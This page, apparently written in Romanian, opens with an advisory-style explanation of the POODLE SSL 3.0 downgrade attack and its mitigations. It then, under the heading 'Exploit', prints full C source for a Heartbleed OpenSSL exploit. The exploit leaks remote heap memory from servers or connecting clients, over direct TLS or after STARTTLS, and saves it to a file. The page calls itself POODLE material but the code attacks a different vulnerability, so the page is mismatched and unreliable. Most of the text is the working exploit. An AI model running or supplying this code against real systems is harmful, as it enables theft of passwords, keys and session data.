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POODLE Revine in forta. Introduction SSL 3.0 [RFC6101] is an obsolete and insecure protocol. While for most practical purposes it has been replaced by its successors TLS 1.0 [RFC2246], TLS 1.1 [RFC4346], and TLS 1.2 [RFC5246], many TLS implementations remain backwards*compatible with SSL 3.0 to interoperate with legacy systems in the interest of a smooth user experience. The protocol handshake provides for authenticated version negotiation, so normally the latest protocol version common to the client and the server will be used. The POODLE Attack To work with legacy servers, many TLS clients implement a downgrade dance: in a first handshake attempt, offer the highest protocol version supported by the client? if this handshake fails, retry (possibly repeatedly) with earlier protocol versions. Unlike proper protocol version negotiation (if the client offers TLS 1.2, the server may respond with, say, TLS 1.0), this downgrade can also be triggered by network glitches, or by active attackers. So if an attacker that controls the network between the client and the server interferes with any attempted handshake offering TLS 1.0 or later, such clients will readily confine themselves to SSL 3.0. Recommendations The attack described above requires an SSL 3.0 connection to be established, so disabling the SSL 3.0 protocol in the client or in the server (or both) will completely avoid it. If either side supports only SSL 3.0, then all hope is gone, and a serious update required to avoid insecure encryption. If SSL 3.0 is neither disabled nor the only possible protocol version, then the attack is possible if the client uses a downgrade dance for interoperability. Impact The POODLE attack can be used against any system or application that supports SSL 3.0 with CBC mode ciphers. This affects most current browsers and websites, but also includes any software that either references a vulnerable SSL/TLS library (e.g. OpenSSL) or implements the SSL/TLS protocol suite itself. By exploiting this vulnerability in a likely web-based scenario, an attacker can gain access to sensitive data passed within the encrypted web session, such as passwords, cookies and other authentication tokens that can then be used to gain more complete access to a website (impersonating that user, accessing database content, etc.). Solution There is currently no fix for the vulnerability SSL 3.0 itself, as the issue is fundamental to the protocol; however, disabling SSL 3.0 support in system/application configurations is the most viable solution currently available. Some of the same researchers that discovered the vulnerability also developed a fix for one of the rerequisite conditions; TLS_FALLBACK_SCSV is a protocol extension that prevents MITM attackers from being able to force a protocol downgrade. OpenSSL has added support for TLS_FALLBACK_SCSV to their latest versions and recommend the following upgrades: - OpenSSL 1.0.1 users should upgrade to 1.0.1j. - OpenSSL 1.0.0 users should upgrade to 1.0.0o. - OpenSSL 0.9.8 users should upgrade to 0.9.8zc. Both clients and servers need to support TLS_FALLBACK_SCSV to prevent downgrade attacks. Other SSL 3.0 implementations are most likely also affected by POODLE. Contact your vendor for details. Additional vendor information may be available in the National Vulnerability Database (NVD) entry for CVE-2014-3566 or in CERT Vulnerability Note VU#577193.[7] Vulnerable TLS implementations need to be updated. CVE ID assignments and vendor information are also available in the NVD.[8] Exploit /* * Heartbleed OpenSSL information leak exploit * ========================================================= * This exploit uses OpenSSL to create an encrypted connection * and trigger the heartbleed leak. The leaked information is * returned within encrypted SSL packets and is then decrypted * and wrote to a file to annoy IDS/forensics. The exploit can * set heartbeat payload length arbitrarily or use two preset * values for NULL and MAX length. The vulnerability occurs due * to bounds checking not being performed on a heap value which * is user supplied and returned to the user as part of DTLS/TLS * heartbeat SSL extension. All versions of OpenSSL 1.0.1 to * 1.0.1f are known affected. You must run this against a target * which is linked to a vulnerable OpenSSL library using DTLS/TLS. * This exploit leaks upto 65535 bytes of remote heap each request * and can be run in a loop until the connected peer ends connection. * The data leaked contains 16 bytes of random padding at the end. * The exploit can be used against a connecting client or server, * it can also send pre_cmd's to plain-text services to establish * an SSL session such as with STARTTLS on SMTP/IMAP/POP3. Clients * will often forcefully close the connection during large leak * requests so try to lower your payload request size. * * Compiled on ArchLinux x86_64 gcc 4.8.2 20140206 w/OpenSSL 1.0.1g * * E.g. * $ gcc -lssl -lssl3 -lcrypto heartbleed.c -o heartbleed * $ ./heartbleed -s 192.168.11.23 -p 443 -f out -t 1 * [ heartbleed OpenSSL information leak exploit * [ ============================================================= * [ connecting to 192.168.11.23 443/tcp * [ connected to 192.168.11.23 443/tcp * [ <3 <3 <3 heart bleed <3 <3 <3 * [ heartbeat returned type=24 length=16408 * [ decrypting SSL packet * [ heartbleed leaked length=65535 * [ final record type=24, length=16384 * [ wrote 16381 bytes of heap to file 'out' * [ heartbeat returned type=24 length=16408 * [ decrypting SSL packet * [ final record type=24, length=16384 * [ wrote 16384 bytes of heap to file 'out' * [ heartbeat returned type=24 length=16408 * [ decrypting SSL packet * [ final record type=24, length=16384 * [ wrote 16384 bytes of heap to file 'out' * [ heartbeat returned type=24 length=16408 * [ decrypting SSL packet * [ final record type=24, length=16384 * [ wrote 16384 bytes of heap to file 'out' * [ heartbeat returned type=24 length=42 * [ decrypting SSL packet * [ final record type=24, length=18 * [ wrote 18 bytes of heap to file 'out' * [ done. * $ ls -al out * -rwx------ 1 fantastic fantastic 65554 Apr 11 13:53 out * $ hexdump -C out * - snip - snip * * Use following example command to generate certificates for clients. * * $ openssl req -x509 -nodes -days 365 -newkey rsa:2048 \ * -keyout server.key -out server.crt * * Debian compile with "gcc heartbleed.c -o heartbleed -Wl,-Bstatic \ * -lssl -Wl,-Bdynamic -lssl3 -lcrypto" * * todo: add udp/dtls support. * * - Beyondtrust * http://www.beyondtrust.com * */ #include <stdio.h> #include <stdint.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <getopt.h> #include <signal.h> #include <netdb.h> #include <fcntl.h> #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <inttypes.h> #include <openssl/bio.h> #include <openssl/ssl.h> #include <openssl/err.h> #include <openssl/evp.h> #include <openssl/tls1.h> #include <openssl/rand.h> #include <openssl/buffer.h> #define n2s(c,s)((s=(((unsigned int)(c[0]))<< 8)| \ (((unsigned int)(c[1])) )),c+=2) #define s2n(s,c) ((c[0]=(unsigned char)(((s)>> 8)&0xff), \ c[1]=(unsigned char)(((s) )&0xff)),c+=2) int first = 0; int leakbytes = 0; int repeat = 1; int badpackets = 0; typedef struct { int socket; SSL *sslHandle; SSL_CTX *sslContext; } connection; typedef struct { unsigned char type; short version; unsigned int length; unsigned char hbtype; unsigned int payload_length; void* payload; } heartbeat; void ssl_init(); void usage(); int tcp_connect(char*,int); int tcp_bind(char*, int); connection* tls_connect(int); connection* tls_bind(int); int pre_cmd(int,int,int); void* heartbleed(connection* ,unsigned int); void* sneakyleaky(connection* ,char*, int); int tcp_connect(char* server,int port){ int sd,ret; struct hostent *host; struct sockaddr_in sa; host = gethostbyname(server); sd = socket(AF_INET, SOCK_STREAM, 0); if(sd==-1){ printf("[!] cannot create socket\n"); exit(0); } sa.sin_family = AF_INET; sa.sin_port = htons(port); sa.sin_addr = *((struct in_addr *) host->h_addr); bzero(&(sa.sin_zero),8); printf("[ connecting to %s %d/tcp\n",server,port); ret = connect(sd,(struct sockaddr *)&sa, sizeof(struct sockaddr)); if(ret==0){ printf("[ connected to %s %d/tcp\n",server,port); } else{ printf("[!] FATAL: could not connect to %s %d/tcp\n",server,port); exit(0); } return sd; } int tcp_bind(char* server, int port){ int sd, ret, val=1; struct sockaddr_in sin; struct hostent *host; host = gethostbyname(server); sd=socket(AF_INET,SOCK_STREAM,0); if(sd==-1){ printf("[!] cannot create socket\n"); exit(0); } memset(&sin,0,sizeof(sin)); sin.sin_addr=*((struct in_addr *) host->h_addr); sin.sin_family=AF_INET; sin.sin_port=htons(port); setsockopt(sd,SOL_SOCKET,SO_REUSEADDR,&val,sizeof(val)); ret = bind(sd,(struct sockaddr *)&sin,sizeof(sin)); if(ret==-1){ printf("[!] cannot bind socket\n"); exit(0); } listen(sd,5); return(sd); } void ssl_init(){ SSL_load_error_strings(); SSL_library_init(); OpenSSL_add_all_digests(); OpenSSL_add_all_algorithms(); OpenSSL_add_all_ciphers(); } connection* tls_connect(int sd){ connection *c; c = malloc(sizeof(connection)); if(c==NULL){ printf("[ error in malloc()\n"); exit(0); } c->socket = sd; c->sslHandle = NULL; c->sslContext = NULL; c->sslContext = SSL_CTX_new(SSLv23_client_method()); SSL_CTX_set_options(c->sslContext, SSL_OP_ALL | SSL_OP_NO_SSLv2 | SSL_OP_NO_SSLv3); if(c->sslContext==NULL) ERR_print_errors_fp(stderr); c->sslHandle = SSL_new(c->sslContext); if(c->sslHandle==NULL) ERR_print_errors_fp(stderr); if(!SSL_set_fd(c->sslHandle,c->socket)) ERR_print_errors_fp(stderr); if(SSL_connect(c->sslHandle)!=1) ERR_print_errors_fp(stderr); if(!c->sslHandle->tlsext_heartbeat & SSL_TLSEXT_HB_ENABLED || c->sslHandle->tlsext_heartbeat & SSL_TLSEXT_HB_DONT_SEND_REQUESTS){ printf("[ warning: heartbeat extension is unsupported (try anyway)\n"); } return c; } connection* tls_bind(int sd){ int bytes; connection *c; char* buf; buf = malloc(4096); if(buf==NULL){ printf("[ error in malloc()\n"); exit(0); } memset(buf,0,4096); c = malloc(sizeof(connection)); if(c==NULL){ printf("[ error in malloc()\n"); exit(0); } c->socket = sd; c->sslHandle = NULL; c->sslContext = NULL; c->sslContext = SSL_CTX_new(SSLv23_server_method()); if(c->sslContext==NULL) ERR_print_errors_fp(stderr); SSL_CTX_set_options(c->sslContext, SSL_OP_ALL | SSL_OP_NO_SSLv2 | SSL_OP_NO_SSLv3); SSL_CTX_SRP_CTX_init(c->sslContext); SSL_CTX_use_certificate_file(c->sslContext, "./server.crt", SSL_FILETYPE_PEM); SSL_CTX_use_PrivateKey_file(c->sslContext, "./server.key", SSL_FILETYPE_PEM); if(!SSL_CTX_check_private_key(c->sslContext)){ printf("[!] FATAL: private key does not match the certificate public key\n"); exit(0); } c->sslHandle = SSL_new(c->sslContext); if(c->sslHandle==NULL) ERR_print_errors_fp(stderr); if(!SSL_set_fd(c->sslHandle,c->socket)) ERR_print_errors_fp(stderr); int rc = SSL_accept(c->sslHandle); printf ("[ SSL connection using %s\n", SSL_get_cipher (c->sslHandle)); bytes = SSL_read(c->sslHandle, buf, 4095); printf("[ recieved: %d bytes - showing output\n%s\n[\n",bytes,buf); if(!c->sslHandle->tlsext_heartbeat & SSL_TLSEXT_HB_ENABLED || c->sslHandle->tlsext_heartbeat & SSL_TLSEXT_HB_DONT_SEND_REQUESTS){ printf("[ warning: heartbeat extension is unsupported (try anyway)\n"); } return c; } int pre_cmd(int sd,int precmd,int verbose){ /* this function can be used to send commands to a plain-text service or client before heartbleed exploit attempt. e.g. STARTTLS */ int rc, go = 0; char* buffer; char* line1; char* line2; switch(precmd){ case 0: line1 = "EHLO test\n"; line2 = "STARTTLS\n"; break; case 1: line1 = "CAPA\n"; line2 = "STLS\n"; break; case 2: line1 = "a001 CAPB\n"; line2 = "a002 STARTTLS\n"; break; default: go = 1; break; } if(go==0){ buffer = malloc(2049); if(buffer==NULL){ printf("[ error in malloc()\n"); exit(0); } memset(buffer,0,2049); rc = read(sd,buffer,2048); printf("[ banner: %s",buffer); send(sd,line1,strlen(line1),0); memset(buffer,0,2049); rc = read(sd,buffer,2048); if(verbose==1){ printf("%s\n",buffer); } send(sd,line2,strlen(line2),0); memset(buffer,0,2049); rc = read(sd,buffer,2048); if(verbose==1){ printf("%s\n",buffer); } } return sd; } void* heartbleed(connection *c,unsigned int type){ unsigned char *buf, *p; int ret; buf = OPENSSL_malloc(1 + 2); if(buf==NULL){ printf("[ error in malloc()\n"); exit(0); } p = buf; *p++ = TLS1_HB_REQUEST; switch(type){ case 0: s2n(0x0,p); break; case 1: s2n(0xffff,p); break; default: printf("[ setting heartbeat payload_length to %u\n",type); s2n(type,p); break; } printf("[ <3 <3 <3 heart bleed <3 <3 <3\n"); ret = ssl3_write_bytes(c->sslHandle, TLS1_RT_HEARTBEAT, buf, 3); OPENSSL_free(buf); return c; } void* sneakyleaky(connection *c,char* filename, int verbose){ char *p; int ssl_major,ssl_minor,al; int enc_err,n,i; SSL3_RECORD *rr; SSL_SESSION *sess; SSL* s; unsigned char md[EVP_MAX_MD_SIZE]; short version; unsigned mac_size, orig_len; size_t extra; rr= &(c->sslHandle->s3->rrec); sess=c->sslHandle->session; s = c->sslHandle; if (c->sslHandle->options & SSL_OP_MICROSOFT_BIG_SSLV3_BUFFER) extra=SSL3_RT_MAX_EXTRA; else extra=0; if ((s->rstate != SSL_ST_READ_BODY) || (s->packet_length < SSL3_RT_HEADER_LENGTH)) { n=ssl3_read_n(s, SSL3_RT_HEADER_LENGTH, s->s3->rbuf.len, 0); if (n <= 0) goto apple; s->rstate=SSL_ST_READ_BODY; p=s->packet; rr->type= *(p++); ssl_major= *(p++); ssl_minor= *(p++); version=(ssl_major<<8)|ssl_minor; n2s(p,rr->length); if(rr->type==24){ printf("[ heartbeat returned type=%d length=%u\n",rr->type, rr->length); if(rr->length > 16834){ printf("[ error: got a malformed TLS length.\n"); exit(0); } } else{ printf("[ incorrect record type=%d length=%u returned\n",rr->type,rr->length); s->packet_length=0; badpackets++; if(badpackets > 3){ printf("[ error: too many bad packets recieved\n"); exit(0); } goto apple; } } if (rr->length > s->packet_length-SSL3_RT_HEADER_LENGTH){ i=rr->length; n=ssl3_read_n(s,i,i,1); if (n <= 0) goto apple; } printf("[ decrypting SSL packet\n"); s->rstate=SSL_ST_READ_HEADER; rr->input= &(s->packet[SSL3_RT_HEADER_LENGTH]); rr->data=rr->input; tls1_enc(s,0); if((sess != NULL) && (s->enc_read_ctx != NULL) && (EVP_MD_CTX_md(s->read_hash) != NULL)) { unsigned char *mac = NULL; unsigned char mac_tmp[EVP_MAX_MD_SIZE]; mac_size=EVP_MD_CTX_size(s->read_hash); OPENSSL_assert(mac_size <= EVP_MAX_MD_SIZE); orig_len = rr->length+((unsigned int)rr->type>>8); if(orig_len < mac_size || (EVP_CIPHER_CTX_mode(s->enc_read_ctx) == EVP_CIPH_CBC_MODE && orig_len < mac_size+1)){ al=SSL_AD_DECODE_ERROR; SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_LENGTH_TOO_SHORT); } if (EVP_CIPHER_CTX_mode(s->enc_read_ctx) == EVP_CIPH_CBC_MODE){ mac = mac_tmp; ssl3_cbc_copy_mac(mac_tmp, rr, mac_size, orig_len); rr->length -= mac_size; } else{ rr->length -= mac_size; mac = &rr->data[rr->length]; } i = tls1_mac(s,md,0); if (i < 0 || mac == NULL || CRYPTO_memcmp(md, mac, (size_t)mac_size) != 0) enc_err = -1; if (rr->length > SSL3_RT_MAX_COMPRESSED_LENGTH+extra+mac_size) enc_err = -1; } if(enc_err < 0){ al=SSL_AD_BAD_RECORD_MAC; SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_DECRYPTION_FAILED_OR_BAD_RECORD_MAC); goto apple; } if(s->expand != NULL){ if (rr->length > SSL3_RT_MAX_COMPRESSED_LENGTH+extra) { al=SSL_AD_RECORD_OVERFLOW; SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_COMPRESSED_LENGTH_TOO_LONG); goto apple; } if (!ssl3_do_uncompress(s)) { al=SSL_AD_DECOMPRESSION_FAILURE; SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_BAD_DECOMPRESSION); goto apple; } } if (rr->length > SSL3_RT_MAX_PLAIN_LENGTH+extra) { al=SSL_AD_RECORD_OVERFLOW; SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_DATA_LENGTH_TOO_LONG); goto apple; } rr->off=0; s->packet_length=0; if(first==0){ uint heartbleed_len = 0; char* fp = s->s3->rrec.data; (long)fp++; memcpy(&heartbleed_len,fp,2); heartbleed_len = (heartbleed_len & 0xff) << 8 | (heartbleed_len & 0xff00) >> 8; first = 2; leakbytes = heartbleed_len + 16; printf("[ heartbleed leaked length=%u\n",heartbleed_len); } if(verbose==1){ { unsigned int z; for (z=0; z<rr->length; z++) printf("%02X%c",rr->data[z],((z+1)%16)?' ':'\n'); } printf("\n"); } leakbytes-=rr->length; if(leakbytes > 0){ repeat = 1; } else{ repeat = 0; } printf("[ final record type=%d, length=%u\n", rr->type, rr->length); int output = s->s3->rrec.length-3; if(output > 0){ int fd = open(filename,O_RDWR|O_CREAT|O_APPEND,0700); if(first==2){ first--; write(fd,s->s3->rrec.data+3,s->s3->rrec.length); /* first three bytes are resp+len */ printf("[ wrote %d bytes of heap to file '%s'\n",s->s3->rrec.length-3,filename); } else{ /* heap data & 16 bytes padding */ write(fd,s->s3->rrec.data+3,s->s3->rrec.length); printf("[ wrote %d bytes of heap to file '%s'\n",s->s3->rrec.length,filename); } close(fd); } else{ printf("[ nothing from the heap to write\n"); } return; apple: printf("[ problem handling SSL record packet - wrong type?\n"); badpackets++; if(badpackets > 3){ printf("[ error: too many bad packets recieved\n"); exit(0); } return; } void usage(){ printf("[\n"); printf("[ --server|-s <ip/dns> - the server to target\n"); printf("[ --port|-p <port> - the port to target\n"); printf("[ --file|-f <filename> - file to write data to\n"); printf("[ --bind|-b <ip> - bind to ip for exploiting clients\n"); printf("[ --precmd|-c <n> - send precmd buffer (STARTTLS)\n"); printf("[ 0 = SMTP\n"); printf("[ 1 = POP3\n"); printf("[ 2 = IMAP\n"); printf("[ --loop|-l - loop the exploit attempts\n"); printf("[ --type|-t <n> - select exploit to try\n"); printf("[ 0 = null length\n"); printf("[ 1 = max leak\n"); printf("[ n = heartbeat payload_length\n"); printf("[\n"); printf("[ --verbose|-v - output leak to screen\n"); printf("[ --help|-h - this output\n"); printf("[\n"); exit(0); } int main(int argc, char* argv[]){ int ret, port, userc, index; int type = 1, udp = 0, verbose = 0, bind = 0, precmd = 9; int loop = 0; struct hostent *h; connection* c; char *host, *file; int ihost = 0, iport = 0, ifile = 0, itype = 0, iprecmd = 0; printf("[ heartbleed - CVE-2014-0160 - OpenSSL information leak exploit\n"); printf("[ =============================================================\n"); static struct option options[] = { {"server", 1, 0, 's'}, {"port", 1, 0, 'p'}, {"file", 1, 0, 'f'}, {"type", 1, 0, 't'}, {"bind", 1, 0, 'b'}, {"verbose", 0, 0, 'v'}, {"precmd", 1, 0, 'c'}, {"loop", 0, 0, 'l'}, {"help", 0, 0,'h'} }; while(userc != -1) { userc = getopt_long(argc,argv,"s:p:f:t:b:c:lvh",options,&index); switch(userc) { case -1: break; case 's': if(ihost==0){ ihost = 1; h = gethostbyname(optarg); if(h==NULL){ printf("[!] FATAL: unknown host '%s'\n",optarg); exit(1); } host = malloc(strlen(optarg) + 1); if(host==NULL){ printf("[ error in malloc()\n"); exit(0); } sprintf(host,"%s",optarg); } break; case 'p': if(iport==0){ port = atoi(optarg); iport = 1; } break; case 'f': if(ifile==0){ file = malloc(strlen(optarg) + 1); if(file==NULL){ printf("[ error in malloc()\n"); exit(0); } sprintf(file,"%s",optarg); ifile = 1; } break; case 't': if(itype==0){ type = atoi(optarg); itype = 1; } break; case 'h': usage(); break; case 'b': if(ihost==0){ ihost = 1; host = malloc(strlen(optarg)+1); if(host==NULL){ printf("[ error in malloc()\n"); exit(0); } sprintf(host,"%s",optarg); bind = 1; } break; case 'c': if(iprecmd == 0){ iprecmd = 1; precmd = atoi(optarg); } break; case 'v': verbose = 1; break; case 'l': loop = 1; break; default: break; } } if(ihost==0||iport==0||ifile==0||itype==0||type < 0){ printf("[ try --help\n"); exit(0); } ssl_init(); if(bind==0){ ret = tcp_connect(host, port); pre_cmd(ret, precmd, verbose); c = tls_connect(ret); heartbleed(c,type); while(repeat==1){ sneakyleaky(c,file,verbose); } while(loop==1){ printf("[ entered heartbleed loop\n"); first=0; repeat=1; heartbleed(c,type); while(repeat==1){ sneakyleaky(c,file,verbose); } } printf("[ done.\n"); exit(0); } else{ int sd, pid, i; ret = tcp_bind(host, port); while(1){ sd=accept(ret,0,0); if(sd==-1){ printf("[!] FATAL: problem with accept()\n"); exit(0); } if(pid=fork()){ close(sd); } else{ c = tls_bind(sd); pre_cmd(ret, precmd, verbose); heartbleed(c,type); while(repeat==1){ sneakyleaky(c,file,verbose); } while(loop==1){ printf("[ entered heartbleed loop\n"); first=0; repeat=0; heartbleed(c,type); while(repeat==1){ sneakyleaky(c,file,verbose); } } printf("[ done.\n"); exit(0); } } } } Source